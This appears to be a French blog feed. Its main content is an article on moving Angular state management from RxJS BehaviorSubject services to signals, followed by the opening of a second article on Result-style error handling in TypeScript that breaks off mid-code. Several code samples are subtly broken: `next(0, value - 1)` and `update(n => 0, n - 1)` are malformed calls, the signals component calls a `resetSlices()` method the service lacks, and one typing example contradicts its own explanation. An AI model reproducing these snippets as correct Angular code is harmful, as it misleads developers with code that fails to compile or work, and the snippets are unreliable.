<h3 id="heading-breve-histoire-de-la-gestion-de-state-dans-angular">Brève histoire de la gestion de state dans Angular</h3>
<p>L'histoire de la gestion de <em>state</em> dans Angular a connu de grands changements et plusieurs évolutions. À ses débuts, avec AngularJS, il n'existait aucun modèle formel de gestion de <em>state</em>. C'est l'une des raisons qui ont poussé l'équipe Angular à repenser entièrement le framework et, en 2016, à introduire Angular 2. Angular 2 a marqué un tournant avec un flux de données unidirectionnel, contrairement à AngularJS où la liaison bidirectionnelle était la norme.</p>
<p>Dans AngularJS, les références aux objets enfants étaient maintenues dans le composant parent, ce qui signifiait qu'une mise à jour dans l'enfant affectait automatiquement le parent. Bien que, dans Angular 2, il ait été encore possible d'utiliser la liaison bidirectionnelle grâce à <code>NgModel()</code>, cette approche a progressivement été remplacée par l'API <code>@Input()</code> et <code>@Output()</code>, favorisant une liaison unidirectionnelle. Dans ce modèle, le parent reste informé des changements dans l'enfant, mais si l'enfant doit modifier une valeur stockée dans le parent, il doit envoyer un événement via <code>@Output()</code>. Cela impliquait que la gestion explicite des événements était toujours nécessaire.</p>
<p>Le flux unidirectionnel poussait clairement vers une structure hiérarchique, où les composants étaient organisés sous forme d'un arbre. Il encourageait également fortement le schéma consistant à diviser les composants entre "intelligents" et "représentationnels". Cependant, les règles n'étaient pas strictement définies, car Angular permettait encore l'utilisation de services injectés partout dans l'application, souvent utilisés pour partager des données entre plusieurs composants.</p>
<h3 id="heading-complexite-des-applications-lourdes">Complexité des applications lourdes</h3>
<p>Dans les applications lourdes et complexes axées sur les données, les développeurs utilisaient souvent des bibliothèques de gestion de <em>state</em> globales comme NgRx ou NgXS. Bien que cela rendait possible la gestion des <em>states</em> complexes, cela ajoutait également de la complexité et beaucoup de code répétitif (boilerplate). En conséquence, le débogage des applications devenait parfois difficile, notamment pour retracer l'origine des modifications d'un <em>state</em>.</p>
<h3 id="heading-transition-vers-les-signals">Transition vers les "Signals"</h3>
<p>Afin de résoudre ces problèmes de longue date liés au modèle original de détection des changements et à la gestion de <em>state</em> des applications, l'équipe Angular se dirige de plus en plus vers les <em>signals</em>. Les <em>signals</em> visent à réduire le besoin d'utiliser des bibliothèques de gestion de <em>states</em> lourdes et complexes.</p>
<h3 id="heading-exemple-pratique">Exemple pratique</h3>
<p>Prenons l'exemple de deux composants différents partageant un <em>state</em> commun. Auparavant, il était très courant d'utiliser des services combinés avec RxJS pour gérer cet <em>state</em>. Dans une application Angular typique, il était nécessaire de s'abonner explicitement aux modifications des valeurs. Voici un aperçu de ce fonctionnement traditionnel avant l'arrivée des "<em>signals</em>".</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// service</span>

<span class="hljs-keyword">import</span> { Injectable } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { BehaviorSubject } <span class="hljs-keyword">from</span> <span class="hljs-string">'rxjs'</span>;

<span class="hljs-meta">@Injectable</span>({ providedIn: <span class="hljs-string">'root'</span> })
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteService {
  <span class="hljs-keyword">private</span> slicesSubject = <span class="hljs-keyword">new</span> BehaviorSubject&lt;<span class="hljs-built_in">number</span>&gt;(<span class="hljs-number">0</span>);
  slices$ = <span class="hljs-built_in">this</span>.slicesSubject.asObservable();

  addSlice() {
    <span class="hljs-built_in">this</span>.slicesSubject.next(<span class="hljs-built_in">this</span>.slicesSubject.value + <span class="hljs-number">1</span>);
  }

  removeSlice() {
    <span class="hljs-built_in">this</span>.slicesSubject.next(<span class="hljs-number">0</span>, <span class="hljs-built_in">this</span>.slicesSubject.value - <span class="hljs-number">1</span>);
  }

  resetSlices() {
    <span class="hljs-built_in">this</span>.slicesSubject.next(<span class="hljs-number">0</span>);
  }
}
</code></pre>
<ul>
<li><p><code>slicesSubject</code> conserve la valeur actuelle et émet cette valeur à tous les abonnés.</p>
</li>
<li><p><code>slices$</code> est un observable auquel les composants peuvent s'abonner.</p>
</li>
<li><p>Le service, utilisé comme un "mini-store," contient des méthodes pour mettre à jour le <em>state</em>.</p>
</li>
</ul>
<p>Le parent doit écouter les événements et mettre à jour le <em>state</em>. Le service doit mettre à jour la valeur, et tous les composants utilisant cette valeur doivent s'abonner aux changements.</p>
<p>Ainsi, nous aurions typiquement un composant qui met à jour le <em>state</em> :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { RacletteService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./raclette.service'</span>;

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'raclette-controls'</span>,
  template: <span class="hljs-string">`
    &lt;button (click)="raclette.addSlice()"&gt;Add Slice 🧀&lt;/button&gt;
    &lt;button (click)="raclette.removeSlice()"&gt;Remove Slice 🧀&lt;/button&gt;
    &lt;button (click)="raclette.resetSlices()"&gt;Reset 🧀&lt;/button&gt;
  `</span>
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteControlsComponent {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">public</span> raclette: RacletteService</span>) {}
}
</code></pre>
<p>et d'autres composants qui liraient cette <em>state</em> :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component, OnInit } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { RacletteService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./raclette.service'</span>;

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'raclette-display'</span>,
  template: <span class="hljs-string">`&lt;p&gt;Slices on the plate: {{ slices }}&lt;/p&gt;`</span>
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteDisplayComponent <span class="hljs-keyword">implements</span> OnInit {
  slices = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">private</span> raclette: RacletteService</span>) {}

  ngOnInit() {
    <span class="hljs-built_in">this</span>.raclette.slices$.subscribe(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> {
      <span class="hljs-built_in">this</span>.slices = value;
    });
  }
}
</code></pre>
<p>Tous les composants utilisant ce <em>state</em> devraient être abonnés à ses changements et les écouter afin de mettre à jour la vue en conséquence.<br />On peut constater que, si notre composant lit de nombreux <em>states</em> différents, il pourrait rapidement être surchargé par un grand nombre d'abonnements lors de son initialisation. Si les manipulations des <em>states</em> ne sont pas simples, nous nous retrouverions souvent à devoir imbriquer nos observables ou les consommer simultanément en utilisant <code>.switchMap</code>, <code>.mergeMap</code>, <code>combineLatest</code>, etc.</p>
<p>Imaginez que nous souhaitons ajouter des pommes de terre dans notre <code>RacletteService</code> et lire leur <em>state</em> en parallèle avec les <em>states</em> des tranches de fromage pour calculer un <em>state</em> dérivé :</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// service</span>

<span class="hljs-keyword">import</span> { Injectable } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { BehaviorSubject } <span class="hljs-keyword">from</span> <span class="hljs-string">'rxjs'</span>;

<span class="hljs-meta">@Injectable</span>({ providedIn: <span class="hljs-string">'root'</span> })
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteService {
  <span class="hljs-keyword">private</span> potatoesSubject = <span class="hljs-keyword">new</span> BehaviorSubject&lt;<span class="hljs-built_in">number</span>&gt;(<span class="hljs-number">0</span>);
  potatoes$ = <span class="hljs-built_in">this</span>.potatoesSubject.asObservable();

  addPotato() {
    <span class="hljs-built_in">this</span>.potatoesSubject.next(<span class="hljs-built_in">this</span>.potatoesSubject.value + <span class="hljs-number">1</span>);
  }

  removePotato() {
    <span class="hljs-built_in">this</span>.potatoesSubject.next(<span class="hljs-built_in">this</span>.potatoesSubject.value - <span class="hljs-number">1</span>);
  }
}
</code></pre>
<p>Ensuite, dans notre composant d'affichage, nous ferions très souvent quelque chose comme ceci :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component, OnInit } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { RacletteService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./raclette.service'</span>;
<span class="hljs-keyword">import</span> { combineLatest } <span class="hljs-keyword">from</span> <span class="hljs-string">'rxjs'</span>;

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'raclette-display'</span>,
  template: <span class="hljs-string">`
    &lt;p&gt;Raclette slices: {{ slices }}&lt;/p&gt;
    &lt;p&gt;Potatoes: {{ potatoes }}&lt;/p&gt;
    &lt;p&gt;Total items: {{ totalItems }}&lt;/p&gt;
  `</span>
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteDisplayComponent <span class="hljs-keyword">implements</span> OnInit {
  slices = <span class="hljs-number">0</span>;
  potatoes = <span class="hljs-number">0</span>;
  totalItems = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">private</span> raclette: RacletteService</span>) {}

  ngOnInit() {
    combineLatest([<span class="hljs-built_in">this</span>.raclette.slices$, <span class="hljs-built_in">this</span>.raclette.potatoes$])
      .subscribe(<span class="hljs-function">(<span class="hljs-params">[slicesValue, potatoesValue]</span>) =&gt;</span> {
        <span class="hljs-built_in">this</span>.slices = slicesValue;
        <span class="hljs-built_in">this</span>.potatoes = potatoesValue;
        <span class="hljs-built_in">this</span>.totalItems = slicesValue + potatoesValue;
      });
  }  
}
</code></pre>
<p>Ou une version moins propre que l'on voit souvent dans les applications Angular :</p>
<pre><code class="lang-typescript">ngOnInit() {
  <span class="hljs-built_in">this</span>.raclette.slices$.subscribe(<span class="hljs-function"><span class="hljs-params">slicesValue</span> =&gt;</span> {
    <span class="hljs-built_in">this</span>.slices = slicesValue;
    <span class="hljs-built_in">this</span>.raclette.potatoes$.subscribe(<span class="hljs-function"><span class="hljs-params">potatoesValue</span> =&gt;</span> {
      <span class="hljs-built_in">this</span>.potatoes = potatoesValue;
      <span class="hljs-built_in">this</span>.totalItems = slicesValue + potatoesValue;
    });
  });
}
</code></pre>
<p>Examinons maintenant comment les <em>signals</em> changent le gestion de <em>state</em> d'Angular :</p>
<p>Avant les <em>signals</em>, notre <em>state</em> était partagé. Avec les <em>signals</em>, tout <em>state</em> peut être rendu réactif par défaut, et le signal dans le template réagit automatiquement à ses changements. Plus besoin d'abonnements, ni d'émettre des événements pour indiquer à Angular qu'une valeur est susceptible de changer.</p>
<p>Nous ne dépendons plus de RxJS et Zone.js pour suivre le <em>state</em> de notre application. Les <em>signals</em> nous offrent une réactivité fine. Zone.js effectuait un monkey-patching sur toutes les tâches asynchrones, ce qui entraînait le déclenchement d'une détection de changement complète à travers tout l'arbre des composants. En revanche, les <em>signals</em> sont des primitives réactives (reactive primitives) qui suivent explicitement les dépendances. Lorsqu'un signal est mis à jour, Angular sait quels composants consomment ce signal et ne met à jour que ceux-ci, pas tout l'arbre.</p>
<p>Avec une réactivité fine, les <em>signals</em> apportent également des moyens plus simples de gérer le <em>state</em> et moins de code. Prenons le même code écrit avec les <em>signals</em> :</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// raclette.service.ts</span>
<span class="hljs-keyword">import</span> { Injectable, signal, computed } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;

<span class="hljs-meta">@Injectable</span>({ providedIn: <span class="hljs-string">'root'</span> })
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteService {
  slices = signal(<span class="hljs-number">0</span>);
  potatoes = signal(<span class="hljs-number">0</span>);
  totalItems = computed(<span class="hljs-function">() =&gt;</span> <span class="hljs-built_in">this</span>.slices() + <span class="hljs-built_in">this</span>.potatoes());

  addSlice() {
    <span class="hljs-built_in">this</span>.slices.update(<span class="hljs-function"><span class="hljs-params">n</span> =&gt;</span> n + <span class="hljs-number">1</span>);
  }

  removeSlice() {
    <span class="hljs-built_in">this</span>.slices.update(<span class="hljs-function"><span class="hljs-params">n</span> =&gt;</span> <span class="hljs-number">0</span>, n - <span class="hljs-number">1</span>);
  }
  addPotato() {
    <span class="hljs-built_in">this</span>.potatoes.update(<span class="hljs-function"><span class="hljs-params">n</span> =&gt;</span> n + <span class="hljs-number">1</span>);
  }

  removePotato() {
    <span class="hljs-built_in">this</span>.potatoes.update(<span class="hljs-function"><span class="hljs-params">n</span> =&gt;</span> <span class="hljs-number">0</span>, n - <span class="hljs-number">1</span>);
  }
}
</code></pre>
<p>Composant 1 :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { RacletteService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./raclette.service'</span>;

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'raclette-controls'</span>,
  template: <span class="hljs-string">`
    &lt;button (click)="raclette.addSlice()"&gt;Add Slice 🧀&lt;/button&gt;
    &lt;button (click)="raclette.removeSlice()"&gt;Remove Slice 🧀&lt;/button&gt;
    &lt;button (click)="raclette.resetSlices()"&gt;Reset 🧀&lt;/button&gt;
    &lt;button (click)="raclette.addPotato()"&gt;Add Potato 🥔&lt;/button&gt;
    &lt;button (click)="raclette.removePotato()"&gt;Remove Potato 🥔&lt;/button&gt;
  `</span>
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteControlsComponent {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">public</span> raclette: RacletteService</span>) {}
}
</code></pre>
<p>Composant 2 :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { RacletteService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./raclette.service'</span>;

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'raclette-display'</span>,
  template: <span class="hljs-string">`
    &lt;p&gt;Raclette slices: {{ raclette.slices() }}&lt;/p&gt;
    &lt;p&gt;Potatoes: {{ raclette.potatoes() }}&lt;/p&gt;
    &lt;p&gt;Total items: {{ raclette.totalItems() }}&lt;/p&gt;
  `</span>
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> RacletteDisplayComponent {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">public</span> raclette: RacletteService</span>) {}
}
</code></pre>
<p>Nous pouvons immédiatement comprendre pourquoi, avec les <em>signals</em>, les abonnements deviennent souvent inutiles. Les <em>signals</em> d'Angular "enveloppent" une valeur et notifient tous les consommateurs lorsque cette valeur est modifiée. De plus, nous bénéficions d'une gestion et d'un accès plus simples aux valeurs calculées, sans besoin d'utiliser <code>combineLatest()</code>. Le code devient ainsi plus clair et plus lisible.</p>
<p>Pour parvenir à cela, l'équipe Angular s'est tournée vers certaines fonctionnalités avancées de TypeScript.<br />Examinons ce qui se cache vraiment derrière la "magie" des <em>signals</em> d'Angular.</p>
<p>L'API ressemble à ceci :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Signal&lt;T&gt; = (<span class="hljs-function">() =&gt;</span> T) &amp; {
  [SIGNAL]: unknown;
}
</code></pre>
<p>Expliquons cela :</p>
<p><code>(() =&gt; T)</code> — est une fonction type, ce qui signifie que notre signal est appelable comme n'importe quelle autre fonction. Lorsqu'on l'appelle, il retourne une valeur de type <code>T</code>. Cela nous permet d'écrire du code comme ceci :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> slices: Signal&lt;<span class="hljs-built_in">number</span>&gt; = <span class="hljs-function">() =&gt;</span> <span class="hljs-number">3</span>;

slices(); <span class="hljs-comment">// 3</span>
</code></pre>
<p>Mais en même temps, notre signal est une propriété marquée (branded property) :</p>
<pre><code class="lang-typescript">{
  [SIGNAL]: unknown;
}
</code></pre>
<p>Cette propriété SIGNAL n'est pas destinée à être utilisée et existe uniquement pour marquer (ou plus précisément pour identifier) une valeur comme une valeur signal. Elle retourne <code>unknown</code> car nous ne nous soucions pas de la valeur qu'elle renvoie.</p>
<p>Le typage du signal comme valeur d'intersection (<code>&amp;</code>) indique une valeur qui est à la fois une fonction (<code>(() =&gt; T)</code>) et possède une propriété SIGNAL spéciale (<code>{ SIGNAL: unknown; }</code>). Cette propriété SIGNAL ajoutée empêche notre compilateur de traiter toutes les fonctions comme des <em>signals</em>, car seules les valeurs créées en tant que <em>signals</em> peuvent correspondre à ce type :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Signal&lt;T&gt; = <span class="hljs-function">() =&gt;</span> T;
<span class="hljs-keyword">const</span> fn = <span class="hljs-function">() =&gt;</span> <span class="hljs-number">123</span>;
<span class="hljs-keyword">const</span> s: Signal&lt;<span class="hljs-built_in">number</span>&gt; = fn; <span class="hljs-comment">// notre signal peut etre une fonction</span>
</code></pre>
<p>Mais le code suivant générera une erreur :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> fn = <span class="hljs-function">() =&gt;</span> <span class="hljs-number">123</span>; 
<span class="hljs-keyword">const</span> s: Signal&lt;<span class="hljs-built_in">number</span>&gt; = fn; <span class="hljs-comment">// notre fonction ne peut pas être un signal car    //manque la propriété [SIGNAL].</span>
</code></pre>
<p>Ainsi, un signal Angular est une valeur qui :</p>
<ol>
<li><p>peut être appelée comme une fonction retournant <code>T</code>, <strong>et</strong></p>
</li>
<li><p>possède une propriété dont la clé est exactement <code>SIGNAL</code>.</p>
</li>
</ol>
<p>De plus, l'équipe Angular nous offre une option qui, si nous marquons notre signal comme modifiable (writable), nous donne accès à une API permettant de gérer son <em>state</em>, comme <code>set()</code> pour définir le <em>state</em> du signal ou <code>update()</code> pour calculer une nouvelle valeur à partir de l'ancienne. Nous avons également la possibilité de retourner la valeur du signal comme étant en read-only.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">interface</span> WritableSignal&lt;T&gt; <span class="hljs-keyword">extends</span> Signal&lt;T&gt; {
  set(value: T): <span class="hljs-built_in">void</span>;
  update(updateFn: <span class="hljs-function">(<span class="hljs-params">value: T</span>) =&gt;</span> T): <span class="hljs-built_in">void</span>;
  asReadonly(): Signal&lt;T&gt;;
  override [SIGNAL]: unknown;
}
</code></pre>
<h3 id="heading-signals-vers-un-angular-plus-moderne">Signals : Vers un Angular plus Moderne</h3>
<p>Un autre grand avantage des <em>signals</em> est la prévention des fuites mémoire. Il n'est plus nécessaire de se désabonner comme c'était le cas avec les Observables.<br />Avec les <em>signals</em>, la "subscription" est automatique dans le template. Les fuites mémoire sont plus difficiles à produire, car Angular détruira les références des signals lorsque l'utilisateur quittera la page, c'est-à-dire lorsque le composant sera détruit.</p>
<p>En introduisant les <em>signals</em>, Angular évolue vers des frameworks modernes, plus réactifs et flexibles. Nous pouvons observer cette idée se développer avec Angular 21 (en développement, prévu en novembre 2025), qui sera désormais zoneless par défaut.<br />ZoneJS utilisait les événements DOM et les tâches asynchrones pour indiquer quand le <em>state</em> "pourrait" changer. Cela provoquait de nombreux problèmes de performance. En le supprimant, on garantit que la détection des changements ne se déclenche plus sur toutes les opérations asynchrones.</p>
<p>Angular 21 exploite également les <em>signals</em> pour gérer le <em>state</em> des formulaires en introduisant (encore en version préliminaire) des formulaires alimentés par les <em>signals</em>. Plus d'informations à ce sujet dans le prochain article.</p>
<h4 id="heading-ressources-supplementaires">Ressources supplémentaires :</h4>
<p><strong>Documentation officielle Angular</strong> :</p>
<ul>
<li><p>Sur les "<em>Signals</em>" : <a target="_blank" href="https://angular.dev/guide/signals">https://angular.dev/guide/signals</a></p>
</li>
<li><p>Sur le "Zoneless" : <a target="_blank" href="https://angular.dev/guide/zoneless">https://angular.dev/guide/zoneless</a></p>
</li>
</ul>
<p>L’IMAGE: <a target="_blank" href="https://unsplash.com/fr/photos/homme-tenant-de-la-poudre-rose-xW4bS_Rj5Po?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink">https://unsplash.com/fr/photos/homme-tenant-de-la-poudre-rose-xW4bS_Rj5Po?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink</a></p>
]]></content:encoded></item><item><title><![CDATA[Gestion des erreurs en TypeScript : apprendre de Go et Rust]]></title><description><![CDATA[La gestion des erreurs est l’un de ces sujets qui suscitent souvent des débats entre développeurs. Chaque langage a sa propre philosophie : JavaScript utilise les exceptions, Go repose sur les retours d’erreur explicites, et Rust adopte l’énumération...]]></description><link>https://niji.tech/managing-errors-in-typescript-learn-from-go-and-rust</link><guid isPermaLink="true">https://niji.tech/managing-errors-in-typescript-learn-from-go-and-rust</guid><category><![CDATA[TypeScript]]></category><category><![CDATA[coding]]></category><category><![CDATA[patterns]]></category><dc:creator><![CDATA[Lionel Brahami]]></dc:creator><pubDate>Wed, 12 Nov 2025 17:13:50 GMT</pubDate><content:encoded><![CDATA[<p>La gestion des erreurs est l’un de ces sujets qui suscitent souvent des débats entre développeurs. Chaque langage a sa propre philosophie : JavaScript utilise les exceptions, Go repose sur les retours d’erreur explicites, et Rust adopte l’énumération Result. TypeScript, qui repose sur JavaScript, hérite des exceptions mais nous permet aussi de concevoir des schémas plus sûrs et plus prévisibles.</p>
<p>Cet article est en deux parties. Dans cette premiere partie, je vais parcourir la gestion des erreurs en TypeScript, la comparer à Go et Rust, et montrer comment importer le modèle Result de Rust dans TypeScript pour obtenir un code plus clair, testable et réutilisable.</p>
<p>Dans la seconde partie, nous verrons un usage avancé de ce pattern et comment en tirer avantage pour faciliter le test et l’écriture de mocks.</p>
<h2 id="heading-gestion-des-erreurs-en-typescript"><strong>Gestion des erreurs en TypeScript</strong></h2>
<p>Par défaut, TypeScript (comme JavaScript) utilise les exceptions. Une fonction qui rencontre un problème lève (<code>throw</code>) une exception, et l’appelant doit se souvenir de l’envelopper dans un <code>try/catch</code>. Cette approche est simple et profondément ancrée dans l’écosystème JavaScript.</p>
<p>Cependant, son principal défaut est que la possibilité d’une erreur n'apparaît pas dans la signature de type de la fonction.</p>
<p>De l’extérieur, rien n’indique à l’appelant que la fonction ci-dessous <code>divide</code> peut lever une exception.</p>
<pre><code class="lang-typescript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">divide</span>(<span class="hljs-params">a: <span class="hljs-built_in">number</span>, b: <span class="hljs-built_in">number</span></span>): <span class="hljs-title">number</span> </span>{
    <span class="hljs-keyword">if</span> (b === <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Division by zero"</span>);
    }
    <span class="hljs-keyword">return</span> a / b;
}
</code></pre>
<p>Ce décalage force les développeurs à se reposer sur la documentation, les conventions ou leur intuition pour se souvenir des cas où des exceptions peuvent se produire.</p>
<p>Résultat : les bases de code contiennent souvent des flux de contrôle cachés, où les erreurs remontent de façon inattendue, compliquant le débogage et la maintenance.</p>
<p>Même si il est vrai que TypeScript permet d’annoter une fonction avec un type de <code>throw</code> en plus de son type de retour, comme par exemple: <code>(): number throws Error</code> cela reste essentiellement descriptif. Le compilateur n’impose pas une gestion cohérente via <code>try/catch</code>, et le support dans les outils (tel que ESLint ou Typescript type checker) reste limité.</p>
<p>Qui plus est, ce mécanisme ne permet pas d’unifier la manière dont les fonctions exposent leurs réussites ou leurs échecs. Certaines renverront une valeur, d’autres lèveront une exception, et l’appelant devra jongler avec plusieurs façons de gérer les erreurs.</p>
<p>Ce manque d’interface unique et prévisible pour les résultats de fonction est la plus grande faiblesse de l’approche basée uniquement sur les exceptions en TypeScript.</p>
<h2 id="heading-gestion-des-erreurs-en-go"><strong>Gestion des erreurs en GO</strong></h2>
<p>Go adopte une position très différente: les fonctions renvoient explicitement des erreurs, généralement comme dernière valeur de retour.</p>
<pre><code class="lang-go">result, err := divide(<span class="hljs-number">10</span>, <span class="hljs-number">0</span>) 
<span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> { 
 fmt.Println(<span class="hljs-string">"Error:"</span>, err) 
} <span class="hljs-keyword">else</span> { 
 fmt.Println(<span class="hljs-string">"Result:"</span>, result) 
}
</code></pre>
<p>Cette approche a l’avantage d’intégrer la gestion des erreurs dans le contrat de la fonction et on ne peut pas ignorer la possibilité d’une erreur, car elle est toujours présente dans le type de retour.</p>
<p>Chaque fonction en Go susceptible d’échouer suit la même convention (<code>result</code>, <code>error</code>), créant ainsi une interface unifiée dans tout le langage. Cette uniformité rend le code prévisible : en lisant ou en écrivant du Go, vous savez immédiatement comment gérer les erreurs, sans avoir besoin de vérifier la documentation ou de deviner.</p>
<p>L’inconvénient est la verbosité. Les appels imbriqués nécessitent souvent des vérifications répétitives <code>if err != nil</code>, ce qui peut encombrer le code et donner un côté mécanique. Cependant, de nombreux développeurs Go estiment que cette explicitation vaut largement le coût.</p>
<h2 id="heading-gestion-des-erreurs-en-rust"><strong>Gestion des erreurs en RUST</strong></h2>
<p>Rust pousse encore plus loin l’idée des erreurs explicites avec son type Result :</p>
<pre><code class="lang-rust"><span class="hljs-class"><span class="hljs-keyword">enum</span> <span class="hljs-title">Result</span></span>&lt;T, E&gt; { 
    <span class="hljs-literal">Ok</span>(T), 
    <span class="hljs-literal">Err</span>(E), 
}
</code></pre>
<p>Chaque fonction susceptible d’échouer renvoie un <code>Result</code>, et le compilateur impose à l’appelant de traiter à la fois les cas de succès et d’échec. Impossible donc d’ignorer une erreur : Rust ne laissera pas compiler tant que tous les cas ne sont pas gérés.</p>
<p>Cela conduit à un code extrêmement robuste : les erreurs sont modélisées comme des valeurs, au même titre que le reste du programme.</p>
<p>Le modèle encourage la gestion exhaustive via match, de sorte que les développeurs considèrent naturellement tous les résultats possibles d’un calcul. L’avantage principal réside dans la combinaison de sécurité et d’expressivité.</p>
<pre><code class="lang-rust"><span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">divide</span></span>(a: <span class="hljs-built_in">i32</span>, b: <span class="hljs-built_in">i32</span>) -&gt; <span class="hljs-built_in">Result</span>&lt;<span class="hljs-built_in">i32</span>, <span class="hljs-built_in">String</span>&gt; {
 <span class="hljs-keyword">if</span> b == <span class="hljs-number">0</span> {
        <span class="hljs-literal">Err</span>(<span class="hljs-string">"Division by zero"</span>.to_string())
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-literal">Ok</span>(a / b)
    }
}

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() {
    <span class="hljs-keyword">let</span> result = divide(<span class="hljs-number">10</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">match</span> result {
        <span class="hljs-literal">Ok</span>(value) =&gt; <span class="hljs-built_in">println!</span>(<span class="hljs-string">"Result: {}"</span>, value),
        <span class="hljs-literal">Err</span>(e) =&gt; <span class="hljs-built_in">println!</span>(<span class="hljs-string">"Error: {}"</span>, e),
    }
}
</code></pre>
<p>Plutôt que de se reposer sur des conventions (comme Go) ou sur des exceptions à l’exécution (comme JavaScript), Rust intègre directement la gestion des erreurs dans son système de types.</p>
<p>L’inconvénient est que pour des opérations très simples, le fait d’envelopper systématiquement dans <code>Ok</code> ou <code>Err</code> peut sembler lourd. Mais dans des systèmes complexes, la fiabilité obtenue compense largement ce coût.</p>
<h2 id="heading-importer-le-modele-rust-dans-typescript">Importer le modèle Rust dans TypeScript</h2>
<p>Pour tirer parti de l’approche de Rust, nous allons modéliser <code>Result</code> avec une union discriminée en TypeScript.</p>
<p>L’union aura un discriminateur booléen stable (<code>ok</code>) afin que TypeScript puisse affiner les types de manière fiable, et un champ value ou error qui contiendra respectivement la valeur ou l’erreur.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> Result&lt;T = <span class="hljs-built_in">void</span>, E <span class="hljs-keyword">extends</span> <span class="hljs-built_in">Error</span> = <span class="hljs-built_in">Error</span>&gt; = 
 | { ok: <span class="hljs-literal">true</span>; value: T } 
 | { ok: <span class="hljs-literal">false</span>; error: E };
</code></pre>
<p>Le type <code>T</code> est par défaut <code>void</code> et le type <code>E</code> par défaut <code>Error</code>, ce qui permet de déclarer simplement des fonctions void sans classe d’erreur spécifique.</p>
<pre><code class="lang-typescript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">simpleVoidFct</span>(<span class="hljs-params">success: <span class="hljs-built_in">boolean</span></span>): <span class="hljs-title">Result</span> </span>{
    <span class="hljs-comment">// some code </span>
}
</code></pre>
<p>Nous ajoutons de simples constructeurs utilitaires <code>Ok</code> et <code>Err</code> pour éviter que les appelants construisent les objets à la main (ce qui limite les erreurs et préserve l’inférence de types).</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Ok</span>&lt;<span class="hljs-title">T</span> = <span class="hljs-title">void</span>&gt;(<span class="hljs-params">value?: T</span>): <span class="hljs-title">Result</span>&lt;<span class="hljs-title">T</span>, <span class="hljs-title">never</span>&gt; </span>{
    <span class="hljs-keyword">return</span> { ok: <span class="hljs-literal">true</span>, value: value <span class="hljs-keyword">as</span> T };
}
